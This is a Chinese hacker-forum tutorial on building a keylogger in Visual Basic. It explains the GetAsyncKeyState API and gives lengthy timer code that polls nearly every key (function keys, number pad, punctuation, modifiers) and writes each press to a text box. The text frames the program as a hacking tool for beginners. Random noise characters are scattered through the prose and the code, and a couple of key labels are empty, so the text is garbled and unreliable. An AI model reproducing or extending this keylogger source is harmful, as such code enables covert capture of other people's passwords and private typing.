手把手教你做键盘记录器

韩冰

作者：小珂 转自黑基BBS原创作品版 G) `% e9 w" U! l7 @; I版权归黑客基地所有， 转载请注明出处

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前几天写了一篇键盘记录器，好多人反映看不懂， 对新人没什么用处，所以且这篇我会写的 * P0 M8 ^$ O6 j# {: u$ [很详细，再也不像那篇，出了代码什么也没 ^!^ ' c/ i; F! a! {' ~# `7 n. B% h这个程序将会详细的讲解如何记载键盘的每一次输入。 ( \6 @$ D' ^* v u% G3 H# w下面介绍的这个程序主要是利用GetAsyncKeyState函数， ' u; L; b$ \6 Q0 Q. `1 \+ q使用GetAsyncKeyState可以获得键盘的动作。 9 V* u U' C, z* P% M% b9 nGetAsyncKeyState函数根据虚拟键表判断按键的类型。 返回值为一个16位的二进值数，如果被按下则最高位为1， 即返回-32767。下面是API函数及鼠标中左右键在虚拟键表中的定义： Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer 好了，函数就先介绍这么多，下面开始动手实战了 d! n9 m9 _: i) p. n9 Afirst,当然是创建窗口了 s' R2 W* K8 k7 S; k3 t3 h0 Z ' |7 |8 m. X8 _- n" ~在时间控件的Timer时间中定义检查按键类型，代码如下： 2 O8 z' e, I7 s: A3 QDim AddKey : S9 g4 i+ I: W, Z/ o$ D. t0 `8 A KeyResult = GetAsyncKeyState(13) '回车键 ) f" X# O: K% ?# p9 [) y# o5 c If KeyResult = -32767 Then AddKey = "[ENTER]" GoTo KeyFound " X% u+ d" R8 G5 G1 c End If KeyResult = GetAsyncKeyState(17) 'Ctrl键 If KeyResult = -32767 Then AddKey = "[CTRL]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(8) '退格键 - [7 W+ f1 _7 h If KeyResult = -32767 Then AddKey = "[BKSPACE]" $ ]. K/ g# t$ B, Q% a7 [5 I GoTo KeyFound $ C2 O4 l H" }' T# F End If . w* z" m1 E* O9 T KeyResult = GetAsyncKeyState(9) If KeyResult = -32767 Then AddKey = "[TAB]" 0 ]( X# D" i2 H* L& j GoTo KeyFound End If 7 E j( V5 M0 T! P0 B KeyResult = GetAsyncKeyState(18) 8 H9 J1 P4 b) \! a! T If KeyResult = -32767 Then 7 F1 y u; ]" a( v AddKey = "[ALT]" GoTo KeyFound 3 G% o$ B& V) p' H" l; m End If KeyResult = GetAsyncKeyState(19) ! t0 g' P8 \1 v L9 I If KeyResult = -32767 Then |2 c' P7 R4 R2 {& s: r. ]; U AddKey = "[PAUSE]" GoTo KeyFound 6 h3 a# B* P, \ End If % [8 L# I( m: O$ Q# Y2 U& O" H KeyResult = GetAsyncKeyState(20) + W4 {% q( N1 v- V' X If KeyResult = -32767 Then AddKey = "[CAPS]" GoTo KeyFound ; b" ~& D7 I# }8 f End If 6 Z' \1 {. v$ f KeyResult = GetAsyncKeyState(27) If KeyResult = -32767 Then AddKey = "[ESC]" ; O- C& z# f6 Q: ]5 S& S9 f5 X/ @ GoTo KeyFound 1 e ]9 X/ N2 Y End If . t) \! q* X9 y" _ KeyResult = GetAsyncKeyState(33) If KeyResult = -32767 Then ) F b2 k: @8 s: k+ o8 q AddKey = "[PGUP]" GoTo KeyFound End If ( q3 j' N: I6 i* ^ 1 o9 a1 n$ j( V: |8 l$ D KeyResult = GetAsyncKeyState(34) " z# ^( J: }+ }% m6 ?$ w+ y+ ~ If KeyResult = -32767 Then AddKey = "[PGDN]" - `. J: a6 ?: {( D GoTo KeyFound End If ' {+ C$ x+ P9 G5 v- x5 O _' \ 5 W1 z6 `$ Z' k" m! `! r) E: ~' r) o KeyResult = GetAsyncKeyState(35) 5 A% c; e: b- ]3 t If KeyResult = -32767 Then AddKey = "[END]" 9 g1 k3 w$ f) z; S4 M, f# d: k GoTo KeyFound ) I* X( l8 ?; G3 e$ c8 z End If KeyResult = GetAsyncKeyState(36) If KeyResult = -32767 Then $ Q% c# `+ K" l! S3 T! ]0 ]! R5 @ AddKey = "[HOME]" GoTo KeyFound 2 o E+ P" b2 t; W+ E9 f( } End If KeyResult = GetAsyncKeyState(44) If KeyResult = -32767 Then AddKey = "[SYSRQ]" GoTo KeyFound 8 Z7 z* b+ e) T. B# [ End If ; c. I) K" S8 ^5 M+ y. _. q! I3 o KeyResult = GetAsyncKeyState(45) If KeyResult = -32767 Then 4 e- j; ]( v9 y- x: H% l; _ AddKey = "[INS]" GoTo KeyFound ! g9 M Q% S& F; P End If KeyResult = GetAsyncKeyState(46) 0 q# E5 D$ ]& Q% p If KeyResult = -32767 Then " T) n( ~$ P3 b- T" V AddKey = "[DEL]" GoTo KeyFound " p$ E0 W2 {- m- j' a+ q End If KeyResult = GetAsyncKeyState(144) : m' S$ G* n' ?+ n5 j If KeyResult = -32767 Then AddKey = "[NUM]" GoTo KeyFound * n' F$ v3 [; C End If 0 U' v+ J0 a8 S6 b0 _ KeyResult = GetAsyncKeyState(37) 8 \" Z1 G6 t# e! N( q" f6 n If KeyResult = -32767 Then " i- k. h% F. n6 B9 y9 ] AddKey = "

" , p! {7 a9 O: _: r( H2 c GoTo KeyFound 4 w8 V$ ]8 E, E; [& T9 u5 _: e End If # a3 }. C! x* V) u+ n) L% [ KeyResult = GetAsyncKeyState(38) If KeyResult = -32767 Then 9 B0 c5 o7 d# f) t9 _ AddKey = "[UP]" GoTo KeyFound End If 0 Q. _3 v7 R1 M( V5 p/ H3 o % I/ b5 y: w. T. L: v KeyResult = GetAsyncKeyState(39) If KeyResult = -32767 Then - |/ ~- [7 I; H: ^7 i6 J( n AddKey = "

" GoTo KeyFound 8 e( D; s% n4 U! r" Y9 [ End If KeyResult = GetAsyncKeyState(40) If KeyResult = -32767 Then AddKey = "[DOWN]" GoTo KeyFound ' e/ z6 f* D# y5 p! w! s/ D End If 4 t( P* C5 E- d# s - X! ^1 ^" F- O. n; b& P; L 2 E$ ?# ?3 j9 w+ [, h* r5 J KeyResult = GetAsyncKeyState(112) # M& h0 \1 k# ^: W( } If KeyResult = -32767 Then + I7 C$ t' Y! z# o AddKey = "[F1]" GoTo KeyFound 2 C$ g: a* v- d' Q0 r5 x End If 5 ]7 }. r4 G$ j0 P KeyResult = GetAsyncKeyState(113) $ C8 c. ]7 P- C0 T) C6 } If KeyResult = -32767 Then - A4 ]: f; z1 [# F/ _# J) t( [ AddKey = "[F2]" , W' T7 }! `1 X: i' ]/ c+ o; l GoTo KeyFound End If 4 S/ c8 `' W d6 ~0 W$ B$ e5 | KeyResult = GetAsyncKeyState(114) If KeyResult = -32767 Then + J# |* p, p; T' I2 \ AddKey = "[F3]" GoTo KeyFound # `3 R8 _/ v* H% ?, h) j End If 2 S0 [$ B0 F) e w7 ^" R KeyResult = GetAsyncKeyState(115) If KeyResult = -32767 Then AddKey = "[F4]" % ]' A8 M* N3 E% ?6 A# O. M$ E# r GoTo KeyFound $ R$ K, u4 v; J End If KeyResult = GetAsyncKeyState(116) " {, F- a3 H }: [ If KeyResult = -32767 Then ; s- a" v: g- \9 B AddKey = "[F5]" 0 ~" O, ]! B3 {; |: \" y GoTo KeyFound End If 1 q5 Q: u. b6 ]2 V* JKeyResult = GetAsyncKeyState(117) & R9 t8 A! I) d K7 H If KeyResult = -32767 Then AddKey = "[F6]" 9 V/ B! l2 @8 D GoTo KeyFound $ z9 _& m* A7 R0 {' E7 T End If . @: @/ b( u) n9 S2 Q" v" j$ z8 \; E KeyResult = GetAsyncKeyState(118) If KeyResult = -32767 Then H6 K6 _+ P, ~2 J/ j6 n AddKey = "[F7]" GoTo KeyFound ! ?( x! y- U+ R/ D* I9 E* Q End If KeyResult = GetAsyncKeyState(119) & C a1 J. D! n! Q& y If KeyResult = -32767 Then 2 B, V6 N! w3 @! d9 e" r AddKey = "[F8]" GoTo KeyFound ; G& ~% S+ S) y" H k End If , A, T# K. B( d4 k. q) d8 G: kKeyResult = GetAsyncKeyState(120) 6 r' M8 {" o" D) N3 C If KeyResult = -32767 Then & p: w# E& |) H* h AddKey = "[F9]" - |0 O8 R/ _ O2 b+ k: c2 n6 [) r GoTo KeyFound % c* I* q0 K5 Z! j End If . i( j. G3 m7 T, X9 }! V) i ' Y% [- V3 r3 l! ]' bKeyResult = GetAsyncKeyState(121) 9 z$ _" y+ R9 w K/ u: m g If KeyResult = -32767 Then / ?8 l9 J0 y2 E- H3 D& u AddKey = "[F10]" ' z! a" v6 ]& ?" p9 R1 Z H GoTo KeyFound 5 p: ?/ m' f+ c } End If 5 f/ A3 y& Y# U KeyResult = GetAsyncKeyState(122) If KeyResult = -32767 Then AddKey = "[F11]" 0 K; t! Q) Q' b& b0 i2 o GoTo KeyFound End If KeyResult = GetAsyncKeyState(123) ' a- |1 u$ d6 D# @7 Q If KeyResult = -32767 Then AddKey = "[F12]" 7 M4 D6 m- k" t* L4 P0 V GoTo KeyFound , f- z' I- K' e$ D) {8 B. s End If KeyResult = GetAsyncKeyState(124) & g2 ]! R8 ~5 s8 q2 y! [ If KeyResult = -32767 Then AddKey = "[F13]" GoTo KeyFound ) X' |- c" u* Q* E: o: D End If + l" |! `5 h0 c% R # N' v% E6 ^. OKeyResult = GetAsyncKeyState(125) . \6 ]3 f4 r! n5 [0 q If KeyResult = -32767 Then ) |5 j' R, T7 t$ q" {8 U6 k AddKey = "[F14]" GoTo KeyFound 5 V+ H5 _3 t3 a: O* Q, n End If * r+ `( n6 h) S9 A, B8 N$ E3 C KeyResult = GetAsyncKeyState(126) : _$ V4 \! \# A. K w! ~# @: G& \ If KeyResult = -32767 Then 3 s* h! E) q' p/ q! W AddKey = "[F15]" GoTo KeyFound End If - d+ w5 n) c$ V KeyResult = GetAsyncKeyState(127) If KeyResult = -32767 Then AddKey = "[F16]" # C3 I( E n) y' g% V3 V7 o3 u GoTo KeyFound & b, C; |# J [ End If KeyResult = GetAsyncKeyState(32) If KeyResult = -32767 Then ( |: u( t7 R0 F* [) E AddKey = " " ) v3 d# U! C3 f8 s GoTo KeyFound End If * U6 t; L4 B) T2 Z/ L5 D/ d" f+ g5 H KeyResult = GetAsyncKeyState(186) If KeyResult = -32767 Then 1 `- v. [# T! g7 X; W AddKey = ";" GoTo KeyFound * p: f# m& E( F" w End If 6 b- Z: O) W5 y1 t( \( y 3 R' r' N' Z- Z) N# NKeyResult = GetAsyncKeyState(187) If KeyResult = -32767 Then ! {' v' m5 k+ C3 X q AddKey = "=" GoTo KeyFound ( X4 w- ?7 ? U2 D$ T1 [; V End If 4 d, c1 W' D" h8 h& m+ ^ KeyResult = GetAsyncKeyState(188) If KeyResult = -32767 Then 2 S4 j; t2 @0 O# `' `0 {8 ~ AddKey = "," GoTo KeyFound : L6 _% G& M5 ~/ i/ _2 [ End If . ]$ [8 `+ M$ T0 n3 _- [/ r KeyResult = GetAsyncKeyState(189) # U) N7 Q4 V( j5 h If KeyResult = -32767 Then l8 x( @" I0 v AddKey = "-" ) ^; Q5 V# m0 p) z GoTo KeyFound End If , M p3 l# I* Z" [7 Y: C& H3 D2 Q: TKeyResult = GetAsyncKeyState(190) If KeyResult = -32767 Then * k. h& J7 `7 n6 e. z% M AddKey = "." ' L' x6 o% z+ v% x; f2 U. T9 T9 E& W GoTo KeyFound 5 L/ k n* K- `' D End If 8 A. f+ ~2 d' t KeyResult = GetAsyncKeyState(191) / O$ g3 b$ }2 F$ t( E: ? If KeyResult = -32767 Then 5 [ O: y7 `; c- t h AddKey = "/" '/ # s" ]$ F$ ]7 k! Z) E7 k# z/ _ GoTo KeyFound : M: c- T, [) o R/ N, I) b End If 8 i$ k, D3 J$ c3 ?& H( k2 zKeyResult = GetAsyncKeyState(192) : p! n5 _8 P: F$ I; Z If KeyResult = -32767 Then " E3 S. [8 M% l( G3 t AddKey = "`" '` GoTo KeyFound , J B2 Z' K1 r/ F6 d) D End If , j8 B; b9 W8 F# C" W0 L, q# X % Q; Z- G7 G6 j'----------NUM PAD & k+ y+ k+ x0 g5 T( @; tKeyResult = GetAsyncKeyState(96) 4 z/ v2 S% Y f& M7 B, ]6 j1 d, l P* F$ P If KeyResult = -32767 Then 6 z, q. V1 Y7 ]+ ]+ W; C0 R AddKey = "0" 8 ?; v7 {' R% g9 s5 l9 L GoTo KeyFound End If : u/ O* ^) X8 X1 M9 V- O) a KeyResult = GetAsyncKeyState(97) . G& c6 K m7 } If KeyResult = -32767 Then * J6 o' ?4 j* B* H& G: q" H AddKey = "1" GoTo KeyFound End If 3 d: `& R1 z, s$ C* `8 _6 S 7 U" Z8 v1 B$ u" c" eKeyResult = GetAsyncKeyState(98) If KeyResult = -32767 Then AddKey = "2" # n2 Y M6 A* y0 n% G9 [ GoTo KeyFound & ^8 B# b2 X( ?0 g% F$ m- Y* v End If KeyResult = GetAsyncKeyState(99) If KeyResult = -32767 Then AddKey = "3" : E! R; o N. h7 i GoTo KeyFound 4 P4 h/ A" |% W/ ~( i( e End If + B# W. r( `- @, G" DKeyResult = GetAsyncKeyState(100) If KeyResult = -32767 Then AddKey = "4" % z; I- _& @' `5 a: H6 v4 B6 c GoTo KeyFound " \" b; h. t4 _' B. \1 @ End If . t2 C. s! f; p; |! v" SKeyResult = GetAsyncKeyState(101) If KeyResult = -32767 Then AddKey = "5" ' [2 t9 W$ Q. ? GoTo KeyFound % k2 L! n0 F$ B" Q End If $ f! Z# ~( b- z' T ; l+ n) {2 K% q9 ?3 kKeyResult = GetAsyncKeyState(102) If KeyResult = -32767 Then $ p4 a9 M- }# u AddKey = "6" 2 [! A; v/ k+ }# d- F" c9 d GoTo KeyFound End If KeyResult = GetAsyncKeyState(103) If KeyResult = -32767 Then AddKey = "7" GoTo KeyFound ) K2 w3 I* j6 H( c End If 2 f! Q4 c5 t8 {6 t( I6 c/ r ( e& Z s' C$ r/ K w6 x KeyResult = GetAsyncKeyState(104) If KeyResult = -32767 Then $ E9 t: ^2 T# [, j AddKey = "8" GoTo KeyFound End If KeyResult = GetAsyncKeyState(105) If KeyResult = -32767 Then # K( n3 J- a& M; T AddKey = "9" D1 s( U& z( v9 y5 Z' m- X% q GoTo KeyFound 2 V& v( m, T& u. X9 I: v0 F End If / P; { X1 h6 ~: @' I$ M ' g2 b4 a7 m& ]' z' D, ^% B9 T: ?KeyResult = GetAsyncKeyState(106) If KeyResult = -32767 Then 2 @! ]0 q1 `& w9 ? AddKey = "*" GoTo KeyFound / j+ S/ }' V( S% i% y* H+ D" F End If % w' s. f$ C8 Q, u6 ^* h1 d5 D4 @3 X: ?KeyResult = GetAsyncKeyState(107) If KeyResult = -32767 Then AddKey = "+" : S/ n1 j. J5 `9 k$ Y GoTo KeyFound End If KeyResult = GetAsyncKeyState(108) If KeyResult = -32767 Then , Z6 T' M* ?' v+ ^5 l0 N0 H AddKey = "[ENTER]" GoTo KeyFound $ U" H2 }0 e+ F$ O \1 E5 x End If + @# @$ g5 _9 m9 s( V* h 8 e- [% z3 a. AKeyResult = GetAsyncKeyState(109) ( F- K4 _/ {% z5 L/ s If KeyResult = -32767 Then & y3 w. ^, I4 J8 {* Z AddKey = "-" 1 I# e2 ]* Q8 m GoTo KeyFound . W0 e7 i4 U0 W4 ^; j End If - j1 a: F0 d; ]1 H& s- z% a9 d 1 q/ @# K% r" U9 g7 z/ p* PKeyResult = GetAsyncKeyState(110) 3 J. R! c& N* A; _. X) H If KeyResult = -32767 Then . i$ }4 H' T6 c" v6 g9 A6 b AddKey = "." GoTo KeyFound End If & m, |. k, w. m' r4 a! E o9 IKeyResult = GetAsyncKeyState(2) If KeyResult = -32767 Then # H3 ^6 A' A' n3 y AddKey = "/" 3 V8 F1 z) \! I$ U9 z$ w GoTo KeyFound 7 w& |0 n' {4 W0 h7 \ End If KeyResult = GetAsyncKeyState(220) If KeyResult = -32767 Then / J. F6 t+ H# `! r AddKey = "\" ' s9 Q4 X# k$ g( a0 ]. w GoTo KeyFound End If % U; ]+ W. D5 ^; {4 Y3 g KeyResult = GetAsyncKeyState(222) _- @% K9 D1 L3 }3 I/ L! l If KeyResult = -32767 Then AddKey = "'" GoTo KeyFound 4 g, r9 N# G/ u+ b: [" J2 a End If KeyResult = GetAsyncKeyState(221) If KeyResult = -32767 Then ' d* }: \. j* J1 r1 j AddKey = "]" 7 w5 E1 J9 f! p+ K) V+ d6 t7 r ) o) q- R* c$ I' W GoTo KeyFound . j0 \) I9 v$ h4 _ End If KeyResult = GetAsyncKeyState(219) ( F* R" f& k2 U5 Q8 ]' D! r H If KeyResult = -32767 Then 0 H' [! v8 f& X AddKey = "[" GoTo KeyFound End If ' ^* P/ }) |2 y* s+ `1 d " B7 Y. o+ G9 a7 T! R* ~8 kKeyResult = GetAsyncKeyState(16) 'shift键 If KeyResult = -32767 And TimeOut = 0 Then AddKey = "[SHIFT]" $ t& v; \7 f$ U. @- }, i: ] LastKey = AddKey 6 ? `1 {0 q0 a4 k TimeOut = 1 ' c. T X* h* ]. f GoTo KeyFound ! c9 j( }. g0 r4 W. v' k1 ~ End If + n3 B+ g- E' Z5 ^! i KeyLoop = 41 . F5 Q9 J, p; h Do Until KeyLoop = 256 ' 显示其他键 KeyResult = GetAsyncKeyState(KeyLoop) 6 w9 @7 {5 k5 E. C If KeyResult = -32767 Then Text1.Text = Text1.Text + Chr(KeyLoop) + L! `! r) _$ Q0 w0 p) O: w KeyLoop = KeyLoop + 1 Loop 5 G6 Q+ f. `% w" H* U5 c" a8 @ LastKey = AddKey + b" _8 |9 `/ v. E+ a; x9 a Exit Sub ( ^" \* y4 E2 i/ UKeyFound: '显示键的信息 + C/ h" u3 e* P8 T( xText1 = Text1 & AddKey End Sub % f9 ]) X5 I# ]% o$ j5 J+ W上面的（）里面的数字实际是就是那些键的Ascii码，比如13就代表回车，17代表Ctrl，…… 由于数目太多，一一列举不方便 现提供Ascii表一份供对照 http://www.cstudy.cn/repository/ascii/default.htm 8 m( ~! b" F) i. F2 \下面是其他的事件 / `; a0 `- J5 x' X2 s8 L7 ?# C I1 tPrivate Sub Timer2_Timer() $ F+ i/ q- y0 s; B& DTimeOut = 0 End Sub 目的是随时刷新清空 - b+ P0 }9 N n2 P" t* ^! i